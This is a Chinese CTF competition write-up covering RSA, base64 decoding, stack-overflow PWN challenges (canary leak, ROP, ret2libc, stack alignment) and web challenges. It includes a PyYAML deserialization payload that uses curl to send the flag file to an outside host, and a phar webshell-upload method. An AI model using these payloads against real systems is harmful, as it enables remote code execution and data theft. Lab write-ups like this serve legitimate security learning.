21年参加的自治区的第一场比赛,整场比赛都是团队赛,团队CTF加两场AWD,在第一场CTF小输不多后,在第二场AWD迎头赶上,第三场AWD继续小输一些。就在我们欢喜的等待玄盾杯的第一个冠军要到手了之后,惊奇的发现裁判的最终成绩,我们屈居第二,并且在我们问成绩的时候,裁判笑着说继续努力。。。
然而在每场比赛结束后不截图积分榜的CTFer不是好厨子,我们每场比赛的结果都截了图,再即使被扣掉第二场多攻击了一轮的分之后,我们依然是第一名,在主办方和我们的注视下,裁判无奈的宣布我们是第一。。。
本场比赛的最宝贵经验就是,在比赛结束时一定要截图,另外要熟练掌握四位数以内的加减法。
Crypto
RSA
n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???
比赛的时候,用yafu是分解除了三个因数,但是写wp的时候,yafu只能分出来2个。。。然后发现可以用sage进行分解,不过时间有点久,得四五分钟的样子
exp
1 | import gmpy2,libnum |
peigenya
题目是一个word,打开移开图片之后,ctrl+a选中全部,找到隐藏的字符,发现了密文
比赛的时候以为这个就是答案,然而并不是,后来又以为是提示,找了半天也没找到密文,后来才知道,这个就是密文。
其中大写对应A,小写对应B
exp
1 | import string |
base
N次base64加密
exp
1 | import base64 |
比赛的时候,没写判断,觉得只要多此解码后得到包含flag的字符串,就会报错推出,结果写wp的时候发现,flag字符串竟然可以在进行好几次的base64decode。。。。所以最终exp写了判断是否包含flag
AES | 待补充
U2FsdGVkX18YBMRq9g4RbzqClPRa59epJfOToDypjuRCmBZGILUxI+E65q03DdkPyTa48xSOQNSK5Ow0ZpOAf8yoFx5OCXZI/VADW4tPYno=
AES加密
Misc
PNG
Reverse
EasyRE
APK
map
PWN
PWN1
栈保护、NX保护,所以需要栈开启了随机地址保护,并且没有办法注入shellcode
思路:
通过泄露pu
可以写入shellcode,所以最终的思路就是通过ROP链,写入shellcode然后getshell
0x0 找到rdi的ret地址
可以看到,函数中调用了puts,并且show_data函数中,可以泄露出puts的真实地址,构造以下payload,其中overflow_offset通过ida_pro确定
1 | overflow_offset+ p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(vul_func_addr) |
但是,因为程序开启了canary保护,所以,如果不能够猜到canary的值的话,程序会进行栈溢出检测,并且退出
canary保护的具体原理
也就是说,所有的payload,都需要先将canary的值放进去,然后再进行rop构造。
可以看到下图,此程序执行时,栈底会有一个00结尾的随机数,这个就是canary的值,所以溢出时,需要将其加到payload中,现在就要考虑如何泄露出canary的值。
泄露canary的思路
本题目通过show_data函数的puts进行泄露,
payload
1 | payload = b'a'*(0x110- 0x10 + 8)#在前面选择输入内容长度时,长度为payload+1,用于覆盖canary的低位\x00 |
泄露出canary之后,需要泄露出puts的真实地址,根据前面找到的pop ret地址,构造payload
1 | payload = overflow_offset + p64(canary_addr)+p64(0)+p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(vul_func_addr) |
这个地方的p64(0)用于覆盖rbp的值,否则pop_rdi的地址会偏移到rbp中,导致无法ret后面的exp
如果不覆盖rbp,pop_rdi_ret的值会在rbp中
然后,此题给的libc是有问题的似乎,通过对比泄露出的system地址和puts等地址,以及程序运行时实际函数的地址,发现并不一致。
通过运行给出的system函数的低位,在线找到libc库
或者使用本地LibcSearcher进行查找,手动安装的LibcSearcher,需要把libc-database放到libcsearch安装的目录下,否则找不到相应的libc库。
然后成功在本机getshell。
exp
1 | from pwn import * |
但是在虚拟机docker的pwn环境中,不知道何故,泄露出来的canary有问题,导致程序因为栈溢出而退出。。。。
PWN2
执行pwn程序,发现有个小游戏
查看ida pro发现main函数中,调用了game函数
查看game函数,发现完成100次加法计算后,跳到27行,输入名字,而输入的参数的长度是0x30,但是scanf没有限制读取的串长度,所以存在溢出。
题目存在get_flag的后门函数,直接可以getshell,只需要在输入名字的地方,将输入内容覆盖掉game函数return时候,栈中存的main函数地址,就可以实现return到get_flag函数中。
如下图,如果输入正常的字符,game函数执行到ret时,栈顶时main函数的地址
如果输入溢出长度的字符,并加上payload,栈顶就是payload的地址
exp利用到了去年一道题目的exp,计算1000次加减乘除
但是发现,在wsl本地调试的时候,无法pwn成功(Ubuntu-20.04的虚拟机也不行。。。)
==Ubuntu18.04及以上的栈对齐问题==
上面的exp在wsl和Ubuntu20.04的虚拟机上都没有办法使用,当时通过socat查看靶机的debug信息的时候,发现wsl和虚拟机上在最后的响应exp的时候,发现似乎数据与正常的kali差了8。
今天看了郝大神发来的一个截图,知道了所谓的栈对齐问题,即在ubuntu18.04及以上,system调用的地址,必须是16的整数倍,即0xabcd0类似的地址,而上述exp,在wsl中,system调用的地址,并不是16的整数倍,即没有16对齐,如下图所示
所以,即使ret到了get_flag函数,在system函数调用”/bin/sh”的时候,由于没有栈对齐,导致没有办法执行shell
既然需要对齐,只需要把payload长度再添加8即可,但是如果只是单纯添加8位的数据,会导致溢出的时候不能够返回到正确的get_flag函数地址,所以需要添加一个ret的地址,可以考虑直接用get_flag函数的ret地址,或用ROPgadget获取rdi的ret地址,然后添加到payload中即可
最后的exp
1 | from pwn import * |
栈平衡,成功getshell
2021.10.3日更新,前几天将wsl换成了ubuntu20.04,结果发现上面的exp中,rdi ret地址加到payload中会有问题,然后直接换一个ret地址,发现成功getshell。
PWN3
Web
FlaskShop
比赛的时候,因为可以用互联网,所以用题目名称搜了一下,发现这个题目是比赛的原题,总共有三个漏洞
但是题目修复了命令执行和SSTI,只剩一个upload的地方,可能存在yaml反序列化。
yaml发序列化是pyyaml库的漏洞,漏洞只存在<pyyaml5.1中
可以看到,命令执行成功后,会返回0
执行失败会返回其他值。
由于页面不会回显任何内容,尝试进行bash反弹shell,失败。
在纠结是不是需要盲注的时候,发现此前做过的题目帮帮小红花,盲注的payload只会回显0,在一筹莫展的时候,想起来,可以通过curl外带啊。
最终的payload
1 | !!python/object/apply:os.system ["curl http://192.168.56.229:8000/`cat /flag`"] |
复现是通过本地环境,将exp放到靶机上直接执行。
1 | import yaml,os |
dabalengba
inc_up
原题8
首先,include不加php后缀;
其次,上传通过把webshell压缩后修改为图片进行上传;
最后,通过phar协议读取压缩包图片中的webshell来实现getshell